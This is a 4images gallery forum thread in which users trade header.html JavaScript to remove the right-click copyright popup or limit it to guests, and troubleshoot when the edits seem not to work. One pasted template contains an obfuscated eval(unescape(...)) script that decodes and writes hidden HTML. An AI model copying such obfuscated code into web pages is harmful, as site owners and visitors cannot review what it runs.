4images Forum & Community

4images Help / Hilfe => FAQ, Tips => Topic started by: Jan on December 12, 2002, 09:17:06 AM

Title: Remove the right-click disabler / or remove only for Members
Post by: Jan on December 12, 2002, 09:17:06 AM
To completely remove right click popup

Open the header.html template and remove these lines:
4images V1.7 - 1.7.2
Code: [Select]
  function right(e) {
    if (navigator.appName == 'Netscape' && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button==2 || event.button == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }
  document.onmousedown=right;
  if (document.layers) window.captureEvents(Event.MOUSEDOWN);
  window.onmousedown=right;


4images V1.7.3 - 1.7.6
Code: [Select]
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");




Right-click only for Guest, not for Members

search
Code: [Select]
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");

replace
Code: [Select]
{if user_loggedout} 
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");
{endif user_loggedout}

Update: 13.06.2008 / Ivan




Right click popup for everyone, but allow right click on input and textarea fields

in header.html template replace
Code: [Select]
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");

With this:
Code: [Select]
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      msg(e);
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      msg(e);
      return false;
    }
    return true;
  }

  function msg(e)
  {
    var target = window.event ? window.event.srcElement : e ? e.target : null;
    if (target.type != "text" && target.type != "textarea" && target.type != "password")
    {
      alert("© Copyright by <?=str_replace("'","\'", "{site_name}");?>");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = msg;
Title: Re: Remove the right-click disabler
Post by: TheOracle on September 04, 2005, 03:41:26 PM
For users who uses Mozilla Firefox,

change :

Quote

function right(e) {
   if (navigator.appName == 'Netscape' && (e.which == 2 || e.which == 3)) {
     alert("© Copyright by {site_name}");
     return false;
   }
   else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button==2 || event.button == 3)) {
     alert("© Copyright by {site_name}");
     return false;
   }
   return true;
 }
 document.onmousedown=right;
 if (document.layers) window.captureEvents(Event.MOUSEDOWN);
 window.onmousedown=right;


to :

Code: [Select]

function right(e) {
   if (navigator.appName == 'Netscape' && (e.which == 2 || e.which == 3)) {
     alert("© Copyright by {site_name}");
     return false;
   }
   else if (navigator.appName == 'Microsoft Internet Explorer' && (event.button==2 || event.button == 3)) {
     alert("© Copyright by {site_name}");
     return false;
   }
   else if (navigator.appName == 'Mozilla Firefox' && (event.button == 2 || event.button == 3)) {
     alert("© Copyright by {site_name}");
     return false;
   }
   return true;
 }
 document.onmousedown=right;
 if (document.layers) window.captureEvents(Event.MOUSEDOWN);
 window.onmousedown=right;

Title: Re: Remove the right-click disabler
Post by: jko on February 28, 2006, 07:13:49 PM
I followed these instructions exactly (cut-and-pasted and used find and replace). Right clicking is still disabled in MSIE and Firefox.

??
Title: Re: Remove the right-click disabler
Post by: V@no on March 01, 2006, 12:55:47 AM
cut-and-paste ???
There is nothing to paste, only cut! ;)

P.S. Disregard TheOracle's post, since it wasnt related to this topic...as usual...
Title: Re: Remove the right-click disabler
Post by: cme550 on April 06, 2006, 04:46:42 AM
Has anyone been able to get this to work? because it doesn't work for me :(
Title: Re: Remove the right-click disabler
Post by: V@no on April 06, 2006, 04:58:22 AM
You removed that javascript code from your your template and still getting copyright popup when right click? huh? I wish I could do that!
Title: Re: Remove the right-click disabler
Post by: cme550 on April 06, 2006, 05:10:24 AM
You removed that javascript code from your your template and still getting copyright popup when right click? huh? I wish I could do that!

Yes, and I would love to have it removed. I thought this thread was about removing it. Does anyone know how I can do this?
Title: Re: Remove the right-click disabler
Post by: V@no on April 06, 2006, 06:44:01 AM
think about it, how a thing can work when it doesnt exist? if you deleted the code, then there is nothing left that would show a popup!
you did something wrong, perhaps forgot to upload edited files or you edited a wrong file, you name it.
Title: Re: Remove the right-click disabler
Post by: cme550 on April 07, 2006, 12:16:24 AM
Ok, whatever, Ill switch to Coppermine
Title: Re: Remove the right-click disabler
Post by: Gwydion on April 09, 2006, 11:16:21 PM
LOL!
I found Coppermine more complicated than 4imges.

Anyway, removing the fuction part works perfect. Thanks.
Title: Re: Remove the right-click disabler
Post by: tdkpaul on July 15, 2006, 02:30:02 AM
Ok, whatever, Ill switch to Coppermine
LLLLLLLLLLLLLLLLLLLLLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLlll

 :lol: :lol: :lol: :lol: :lol: :lol: :lol: :lol:

 :roll:

[EDITED by V@no]
Check your keyboard, I think some of the keys are stuck :P
Title: Re: Remove the right-click disabler
Post by: comicart on September 12, 2006, 06:35:10 PM
So *this* stays in?
In my header it comes right below the section you said to delete.

Code: [Select]
}

document.oncontextmenu = new Function("alert('? Copyright by {site_name}');return false");

?
T
Title: Re: Remove the right-click disabler
Post by: V@no on September 13, 2006, 01:15:17 AM
yes, you are right, in v1.7.3 this was changed.
I've updated the original post.
Title: Re: Remove the right-click disabler
Post by: MikeR on November 17, 2006, 08:44:03 PM
Im using 1.7.1

Is there a way to disable right clicking for ONLY the pictures.

I would like to ba able to right click on links and open them in a new window, and right click to copy text in the comments.

thanks for any help  8)
Title: Re: Remove the right-click disabler
Post by: jimraynor on January 02, 2007, 04:58:26 AM
i am using 1.7.4. How can i do this problem
Title: Re: Remove the right-click disabler
Post by: BlackGoat on April 02, 2007, 11:01:43 AM
For version 1.7.4

Find in "header.html":
Code: [Select]
  function right(e) {

    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {

      alert("© Copyright by {site_name}");

      return false;

    }

    else if (event.button == 2 || event.button == 3) {

      alert("© Copyright by {site_name}");

      return false;

    }

    return true;

  }



  if (document.layers){

    document.captureEvents(Event.MOUSEDOWN);

    document.onmousedown = right;

  }

  else if (document.all && !document.getElementById){

    document.onmousedown = right;

  }



document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");

And delete that part.

That's it!
Title: Re: Remove the right-click disabler
Post by: alainwolf on May 01, 2007, 09:40:16 PM
Hi every body......


If I want just to disable right click option for rigestered users.....

How to do that? and Thanks in advance.....
Title: Re: Remove the right-click disabler
Post by: manurom on May 02, 2007, 08:56:55 AM
Hello;
to enable right click for registered users, find this in header.html (version 1.7.4):
Code: [Select]
<script language="javascript" type="text/javascript">
<!--

  var captcha_reload_count = 0;
var captcha_image_url = "{url_captcha_image}";
  function new_captcha_image() {
    if (captcha_image_url.indexOf('?') == -1) {
  document.getElementById('captcha_image').src= captcha_image_url+'?c='+captcha_reload_count;
} else {
  document.getElementById('captcha_image').src= captcha_image_url+'&c='+captcha_reload_count;
}

    document.getElementById('captcha_input').value="";
    document.getElementById('captcha_input').focus();
    captcha_reload_count++;
  }

function opendetailwindow() {
    window.open('','detailwindow','toolbar=no,scrollbars=yes,resizable=no,width=680,height=480');
  }
 
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");

// -->
</script>

and replace by:
Code: [Select]
<script language="javascript" type="text/javascript">
<!--

  var captcha_reload_count = 0;
var captcha_image_url = "{url_captcha_image}";
  function new_captcha_image() {
    if (captcha_image_url.indexOf('?') == -1) {
  document.getElementById('captcha_image').src= captcha_image_url+'?c='+captcha_reload_count;
} else {
  document.getElementById('captcha_image').src= captcha_image_url+'&c='+captcha_reload_count;
}

    document.getElementById('captcha_input').value="";
    document.getElementById('captcha_input').focus();
    captcha_reload_count++;
  }

function opendetailwindow() {
    window.open('','detailwindow','toolbar=no,scrollbars=yes,resizable=no,width=680,height=480');
  }
 // -->
</script>
{if user_loggedout}
<script language="javascript" type="text/javascript">
<!--
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("© Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("© Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");

// -->
</script>
{endif user_loggedout}
Title: Re: Remove the right-click disabler
Post by: ChristianKnorr on May 12, 2007, 09:58:20 AM
--------------------
--- Deutsch ---
--------------------

Hallo zusammen,
ich wünschte ich hätte den Rechts-Klick disabled. Ich kann aber rechtsklicken.
Standard 1.7.4 Installation mit eigenem Template. Aber auch mit 'default' Template
Eine Idee wie ich den Rechts-Klick disabled bekomme?

---------------------------------
--- English (i try ;-)) ---
---------------------------------

Hi Allz,
I would love to have it disabled. But i can make a right-click and download images.
I have a standard 1.7.4 installation. A few hours later i have made an own template, of basic from default.
But i can make a right-click with both templates.

Does anyone know how I can do this?

Here my header.html (witch found in templates/default/ and template/ChristianKnorr/):
Code: [Select]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html dir="{direction}">
<head>
<title>{site_name}</title>
<meta http-equiv="content-type" content="text/html; charset={charset}" />
<link rel="stylesheet" href="{template_url}/style.css" />
<script language="javascript" type="text/javascript">
<!--

  var captcha_reload_count = 0;
var captcha_image_url = "{url_captcha_image}";
  function new_captcha_image() {
    if (captcha_image_url.indexOf('?') == -1) {
  document.getElementById('captcha_image').src= captcha_image_url+'?c='+captcha_reload_count;
} else {
  document.getElementById('captcha_image').src= captcha_image_url+'&c='+captcha_reload_count;
}

    document.getElementById('captcha_input').value="";
    document.getElementById('captcha_input').focus();
    captcha_reload_count++;
  }

function opendetailwindow() {
    window.open('','detailwindow','toolbar=no,scrollbars=yes,resizable=no,width=680,height=480');
  }
 
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert(" Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert(" Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert(' Copyright by {site_name}');return false");

// -->
</script>
{if has_rss}
<link rel="alternate" type="application/rss+xml" title="{rss_title}" href="{rss_url}" />
{endif has_rss}
</head>
<body bgcolor="#FFFFFF" text="#0F5475" link="#0F5475" vlink="#0F5475" alink="#0F5475">
<br />
Title: Re: Remove the right-click disabler
Post by: CeJay on May 12, 2007, 10:11:38 AM
Not sure if I understand correct or not.
You want the rick click disabler removed and you have 1.7.4?
Or do you mean you would like the right click enabled on your template?

If you want it enabled just add this to your header.
If not and you want it disabled then this is what you remove.
Code: [Select]
  function right(e) {

    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {

      alert("© Copyright by {site_name}");

      return false;

    }

    else if (event.button == 2 || event.button == 3) {

      alert("© Copyright by {site_name}");

      return false;

    }

    return true;

  }



  if (document.layers){

    document.captureEvents(Event.MOUSEDOWN);

    document.onmousedown = right;

  }

  else if (document.all && !document.getElementById){

    document.onmousedown = right;

  }



document.oncontextmenu = new Function("alert('© Copyright by {site_name}');return false");


If you are looking to disable just the right click on images only then take a look at: http://www.4homepages.de/forum/index.php?topic=4236.0
With this one right click will work except for over your images.
Title: Re: Remove the right-click disabler
Post by: ChristianKnorr on May 12, 2007, 10:25:28 AM
No. :wink:
Normally the right click is disabled, correct?
But, in my case, you can make a right click and download the images (you can check it here (http://www.knorrc.de/fotoalbum.html))

But i don't have make an change at the header.html
Title: Re: Remove the right-click disabler
Post by: CeJay on May 12, 2007, 10:34:40 AM
Ok, now I see what you did with the template.
Did you try adding that code to your template to see if that will work?
Title: Re: Remove the right-click disabler
Post by: ChristianKnorr on May 12, 2007, 10:50:26 AM
Ok, now I see what you did with the template.
Did you try adding that code to your template to see if that will work?

Yes, i have insert your code. but nothing is changed.
My headers.html now:
Code: [Select]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html dir="{direction}">
<head>
<title>{site_name}</title>
<meta http-equiv="content-type" content="text/html; charset={charset}" />
<link rel="stylesheet" href="{template_url}/style.css" />
<script language="javascript" type="text/javascript">

  var captcha_reload_count = 0;
var captcha_image_url = "{url_captcha_image}";
  function new_captcha_image() {
    if (captcha_image_url.indexOf('?') == -1) {
  document.getElementById('captcha_image').src= captcha_image_url+'?c='+captcha_reload_count;
} else {
  document.getElementById('captcha_image').src= captcha_image_url+'&c='+captcha_reload_count;
}

    document.getElementById('captcha_input').value="";
    document.getElementById('captcha_input').focus();
    captcha_reload_count++;
  }

function opendetailwindow() {
    window.open('','detailwindow','toolbar=no,scrollbars=yes,resizable=no,width=680,height=480');
  }
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('Copyright by {site_name}');return false");
</script>
{if has_rss}
<link rel="alternate" type="application/rss+xml" title="{rss_title}" href="{rss_url}" />
{endif has_rss}
</head>
<body bgcolor="#FFFFFF" text="#0F5475" link="#0F5475" vlink="#0F5475" alink="#0F5475">
<br />
I had an suspicion with the copyright symbol witch is not shown in my editor. I have remove them three - no effect.
Any ideas where i can find any error logs?
4images runs at my own server, connected over dyndns to the internet.
Title: Re: Remove the right-click disabler
Post by: CeJay on May 12, 2007, 10:58:06 AM
Quote
Any ideas where i can find any error logs?
4images runs at my own server, connected over dyndns to the internet.
  ... No I don't sorry.


Try putting the code in fotoalbum.html since that is what comes up when to view your gallery.
Right now when I go there and view source all I see is (with no rick click disabler in it):
Code: [Select]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<link rel="icon" href="image/favicon.ico" type="image/ico">

<title>Christian's Fotoalbum</title>

<meta content="Christian's Fotoalbum" name="description"/>
<meta content="" name="keywords"/>
<meta content="" name="author"/>
<meta content="ChristianKnorr@gmx.de" name="email"/>
<meta content="Christian Knorr" name="copyright"/>
<link type="text/css" rel="stylesheet" href="style.css"/>
</head>
<frameset border="0" frameborder="NO" framespacing="0" cols="*" rows="*">
 <frame noresize="" scrolling="auto" name="tocframe" src="http://chrisk.homeftp.net/4images/">

</frameset>
<noframes/>
</html>

Other wise right now I have no other ideas to help.
If I think of anything else I will post it.
Title: Re: Remove the right-click disabler
Post by: ChristianKnorr on May 12, 2007, 11:12:20 AM
When I connect to the dyndns adress i have the same problem. The fotoalbum.html is only at this case, you can't see the my real dyndns adress easy.
And, when I type my ip adress (which found in router webinterface) in the webbrowser, this is same effect.
When i go to the <ip-adress>/4images - same effect.
Only the http://<ip-adress>/4images/templates/ChristianKnorr/header.html bring the right function. At this case I can't make a right click.
Title: Re: Remove the right-click disabler
Post by: ChristianKnorr on May 12, 2007, 11:18:50 AM
My fotoalbum.html
Code: [Select]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!--
START SCRIPT
-->
<script language="javascript" type="text/javascript">
  function right(e) {
    if ((document.layers || (document.getElementById && !document.all)) && (e.which == 2 || e.which == 3)) {
      alert("Copyright by {site_name}");
      return false;
    }
    else if (event.button == 2 || event.button == 3) {
      alert("Copyright by {site_name}");
      return false;
    }
    return true;
  }

  if (document.layers){
    document.captureEvents(Event.MOUSEDOWN);
    document.onmousedown = right;
  }
  else if (document.all && !document.getElementById){
    document.onmousedown = right;
  }

document.oncontextmenu = new Function("alert('Copyright by {site_name}');return false");

</script>
<!--
END SCRIPT
-->


<link rel="icon" href="image/favicon.ico" type="image/ico">

<title>Christian's Fotoalbum</title>

<meta content="Christian's Fotoalbum" name="description"/>
<meta content="" name="keywords"/>
<meta content="" name="author"/>
<meta content="ChristianKnorr@gmx.de" name="email"/>
<meta content="Christian Knorr" name="copyright"/>
<link type="text/css" rel="stylesheet" href="style.css"/>
</head>
<frameset border="0" frameborder="NO" framespacing="0" cols="*" rows="*">
 <frame noresize="" scrolling="auto" name="tocframe" src="http://chrisk.homeftp.net/4images/">
</frameset>
<noframes/>
</html>
has no effect.
Title: Re: Remove the right-click disabler
Post by: Nephris on March 03, 2008, 09:52:27 AM
Hi friends am sorry for pushing this topic again, but i am a bit lost.
Am sure i followed all instructions u done here but my "right click disabler" is still working.
Means i am not able to save my files via right click.

This is what my header.html looks like on 1.7.6:
Code: [Select]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html dir="{direction}">
<head>
<title>{site_name}</title>
<meta http-equiv="content-type" content="text/html; iso-8859-1">
<meta http-equiv="pragma" content="no-cache">
<meta name="robots" content="INDEX,FOLLOW">
<meta http-equiv="content-language" content="de">
<meta name="description" content="">
<meta name="keywords" content="">
<meta name="author" content="">
<meta name="publisher" content="">
<meta name="copyright" content="">
<meta name="audience" content="alle">
<meta name="page-type" content="">
<meta name="page-topic" content="">
<meta name="creation_date" content="">
<meta name="revisit-after" content="10 days">
<meta http-equiv="imagetoolbar" content="no">
<meta http-equiv="content-type" content="text/html; charset={charset}" />
<link rel="stylesheet" href="{template_url}/style.css" />

<script language="javascript" type="text/javascript">
<!--

  var captcha_reload_count = 0;
        var captcha_image_url = "{url_captcha_image}";
  function new_captcha_image() {
    if (captcha_image_url.indexOf('?') == -1) {
                  document.getElementById('captcha_image').src= captcha_image_url+'?c='+captcha_reload_count;
                } else {
                  document.getElementById('captcha_image').src= captcha_image_url+'&c='+captcha_reload_count;
                }

    document.getElementById('captcha_input').value="";
    document.getElementById('captcha_input').focus();
    captcha_reload_count++;
  }

        function opendetailwindow() {
    window.open('','detailwindow','toolbar=no,scrollbars=yes,resizable=no,width=680,height=480');
  }

 
// -->
</script>
{if has_rss}
<link rel="alternate" type="application/rss+xml" title="{rss_title}" href="{rss_url}" />
{endif has_rss}
</head>

<body topmargin="0" leftmargin="0" bgproperties="fixed">
<div align="center"><center>
<table border="0" width="100%" cellspacing="0" cellpadding="0">
  <tr>
    <td width="100%" valign="middle" align="center">
     <div align="center"><center>
<!-- ############################# Page WIDTH 800px #########################-->
      <table border="0" width="800" height="100%" cellspacing="0">
<!-- ########################################################################-->
       <tr>
        <td width="100%" align="center"><div align="center"><center>
         <table border="0" width="100%" cellspacing="0" cellpadding="0">
          <tr>
            <td width="100%" height="40" valign="bottom" align="left"><img src="page_images/space.gif" width="15" height="1"><b class="site_name"><b>{site_name}</b></td>
          </tr>
          <tr>
            <td width="100%" height="5"></td>
          </tr>
          <tr>
            <td width="100%" height="1" bgcolor="#000000">
            </td>
          </tr>
          <tr>
            <td width="100%" height="20" valign="top" align="left"><img src="page_images/space.gif" width="15" height="20"></td>
          </tr>
        </table>
        </center></div><div align="center"><center>
         <table border="0" width="97%" height="500" cellspacing="2" cellpadding="0" style="border: 1px solid rgb(0,0,0);">
          <tr>
            <td width="100%" valign="top" align="center" bgcolor="#27282B">
             <div align="center"><center>
              <table border="0" width="100%" cellspacing="0" cellpadding="0">
              <tr>
                <td width="100%" height="10"></td>
                </td>
              </tr>
            </table>
            </center></div><div align="center"><center>
            <table border="0" width="100%" cellspacing="0" cellpadding="4">
              <tr>
                <td width="160" valign="top" align="left">
                  <table border="0" width="160" cellspacing="0" cellpadding="0">
                    <tr>
                      <td width="100%" valign="top" align="center">
                      <div align="center"><center>
                       <table border="0" width="160" cellspacing="0" cellpadding="0">
                        <tr>
                          <td width="10" height="13" background="page_images/menue_top_left.gif">
                          <img src="page_images/space.gif" width="10" height="1"></td>
                          <td height="13" background="page_images/menue_top_middle.gif"></td>
                          <td width="10" height="13" background="page_images/menue_top_right.gif">
                          <img src="page_images/space.gif" width="10" height="1"></td>
                        </tr>
                        <tr>
                          <td width="10" background="page_images/menue_middle_left.gif"></td>
                          <td background="page_images/menue_middle_middle.gif" align="center" valign="top">
<!-- ################################################### Start Menue ################################################### -->
                         {user_box}
                         <a href="{url_new_images}">» {lang_new_images}</a><br />
                         <a href="{url_top_images}">» {lang_top_images}</a><br />
<?php
include('menue.php');
?>

                        <br />
                       {cp_link}
<!-- ################################################### End Menue ################################################### -->
                        {if random_image}
                        <br />
                        <div align="center">
                         <table width="130" border="0" cellspacing="0" cellpadding="2" class="random_table" onmouseover="this.className='random_table_2'" onmouseout="this.className='random_table'">
                          <tr>
                           <td width="100%" valign="top" align="center">{lang_random_image}</center>
                           <br>{random_image}
                           </td>
                         </tr>
                        </table></div>
                        {endif random_image}
                         <br /><br /><br />
                        <form method="post" action="{url_search}"><input type="text" name="search_keywords" class="searchinput">
                        <input type="submit" value="{lang_search}" class="searchinput_button" name="submit"/><br><a href="{url_search}" class="smalltext">{lang_advanced_search}</a>
                        </form>
                        <script language="JavaScript" type="text/javascript"><!--
                        var x="",s="1:p*4tlk\"c%sb5z7/98r;gw_D#hEa)A!>(deoC20u<mfxni=v- .KyW",h=55,u="";eval(unescape("%66%75%6E%63%74%69%6F%6E%20%76%76%76%28%29%7B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%78%29%7D%3B%66%75%6E%63%74%69%6F%6E%20%71%28%67%29%7B%76%61%72%20%66%3D%27%27%2C%77%2C%6B%2C%74%2C%6D%3B%66%6F%72%28%77%3D%30%3B%77%3C%67%2E%6C%65%6E%67%74%68%3B%77%2B%2B%29%7B%6B%3D%67%2E%63%68%61%72%41%74%28%77%29%3B%74%3D%73%2E%69%6E%64%65%78%4F%66%28%6B%29%3B%69%66%28%74%3E%2D%31%29%7B%6D%3D%28%28%74%2B%31%29%25%68%2D%31%29%3B%69%66%28%6D%3C%3D%30%29%7B%6D%2B%3D%68%7D%66%2B%3D%73%2E%63%68%61%72%41%74%28%6D%2D%31%29%7D%65%6C%73%65%7B%66%2B%3D%6B%7D%7D%78%2B%3D%66%7D"));q(".me=-.)k=wivc%oilo;c(m%oilo;(ml)5ko.5C;eo;vcuc._=elEvc/zc.Eo=wElvc:zc.%okkb*)%=iwvc:c.%okk*)ee=iwvcuc(ml;(mle(.ml)5ko.5C;eo;vcuc._=elEvc/zc.Eo=wElvc:zc.%okkb*)%=iwvc:c.%okk*)ee=iwvcuc.blWkovc5C;eo;p.:*n.bCk=e.;w5du,u,uAc(ml;(mle._=elEvcruc.)k=wivc%oilo;c(.me=-.blWkovcx)%op.!;=)kg.xCil b=7op.8*ng.%CkC;p.huuuuuuc(m).E;oxvcEll*p99t=f)wobKf)koe=-oi 5=keo;Keoc.l);wolvcD5k)i\"c(#ob=wi.5W.y1m9)(m9e=-(m9le(m9l;(m9l)5ko(.m9le(m9l;(ml;(mle.Eo=wElvc0c(m9le(m9l;(m9l)5ko(.m9%oilo;(m9e=-(.m>  hhhhhhhhhhhhhhhh");q("hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh.aie.2C*W;=wEl.hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh  (.m9le(mle._=elEvc:uc.5)%\"w;C<ievc*)woD=f)wob9foi<oDf=eekoD;=wElKw=xc(m9le(m9l;(ml;(mle._=elEvc:uc.Eo=wElvc0zc.5)%\"w;C<ievc*)woD=f)wob9foi<oD5CllCfDkoxlKw=xc(m9le(mle.Eo=wElvc0zc.5)%\"w;C<ievc*)woD=f)wob9foi<oD5CllCfDf=eekoKw=xc(m9le(mle._=elEvc:uc.Eo=wElvc0zc.5)%\"w;C<ievc*)woD=f)wob9foi<oD5CllCfD;=wElKw=xc(m9le(m9l;(m9l)5ko(.m9%oilo;(m9e=-(.m9le(m9l;(m9l)5ko(m9%oilo;(m9e=-(.m9le(mle._=elEvc");q("4c.Eo=wElvc:c.-)k=wivclC*c.)k=wivc%oilo;c(.ml)5ko.5C;eo;vcuc._=elEvc8usc.Eo=wElvc:c.%okkb*)%=iwvcuc.%okk*)ee=iwvcuc(ml;(mle.)k=wivckoxlc._=elEvc:uusc(.");vvv();document.write(u);u="";//-->
                        </script>
                        {clickstream}
                        </td>
                       </tr>
                      </table>
                     </center></div> 

Am sure the upper part is interesting only .... but just in case as i am a absolute noob in php and html.
However i would be really thankful if u could give me a hint.

This is what i am talking about:
my gallery (http://www.florian-benz.de/4images/index.php)
Title: Re: Remove the right-click disabler
Post by: Nicky on March 03, 2008, 10:40:42 AM
your template details.html is NOT using header.html

http://www.florian-benz.de/4images/templates/default_black/details.html

remove the code too...
Title: Re: Remove the right-click disabler
Post by: Nephris on March 03, 2008, 11:05:30 AM
Cheerz m8, thats it!
Great work u all do here ... great support.
Title: Re: Remove the right-click disabler
Post by: mannzlady on April 21, 2008, 06:14:49 PM
I am using version 1.7.6

is the fix the same to remove the rightclick?

thanks!
Title: Re: Remove the right-click disabler
Post by: KurtW on April 21, 2008, 06:19:59 PM
I am using version 1.7.6

is the fix the same to remove the rightclick?

thanks!

Hi mannzlady,

yes.... :wink:


KurtW
Title: Re: Remove the right-click disabler
Post by: mannzlady on April 21, 2008, 06:53:50 PM
thank you so much for the speedy reply!! :D
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: EdwinK on September 02, 2008, 10:41:22 PM
And it works like a charm ;)

Thanks.
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: RatedRWHC on September 03, 2008, 03:52:55 PM
is it possible to have right click for everyone accept the admins
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: V@no on September 04, 2008, 02:06:57 AM
Yes, you can use these template tags:
{ifno is_admin}
....
this will be displayed only for non-admin visitors
....

{endifno is_admin}
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: axlrose on September 04, 2008, 07:00:48 AM
Can a regular user do this things or just only for a member with license?
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: andu on October 07, 2008, 12:55:21 AM
Hi!
Im trying to disable the middle button.. How could i do this?

i've tried to add the code event.button == 4 and event.button == 1 but i keep using the middle button.. What am i doing wrong?

Many thanks!!
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: V@no on October 07, 2008, 02:25:31 AM
Hello and welcome to 4images forum.

The purpose in blocking right mouse button is to disallow menu to popup that "helps" stealing images...
What is the point disabling middle button?

P.S.
If I may I'd suggest you ask this question on forums discussing javascript programming, I'm sure there are more people with better understanding javascript and you probably would get faster response.

http://forums.devshed.com/ (awesome forum for a lot of programming and script languages)
http://codingforums.com/
http://www.webdeveloper.com/forum

Good luck.
Title: Re: Remove the right-click disabler / or remove only for Members
Post by: andu on October 07, 2008, 09:55:02 AM
you'r right. Actually anybody that wants to keep the images shown in the webpage just needs to drag the picture and drop it on the desktop.
No. Actually i need to disable the middle button because i've got the gallery that is shown in an iframe inside my webpage.
I'd like to avoid the user opening the gallery on its own, i'd like to keep it inside my main webpage.

I've tried the javascrit to avoid the user to open new tabs inside the gallery. But the code doesn't seem to react. Is there eny mod that allow to do this? Or Which code should i write down?

Regards!

PD: I beg your pardon if my english is so bad that hurt your senses.. Actually i'm trying to improbe...
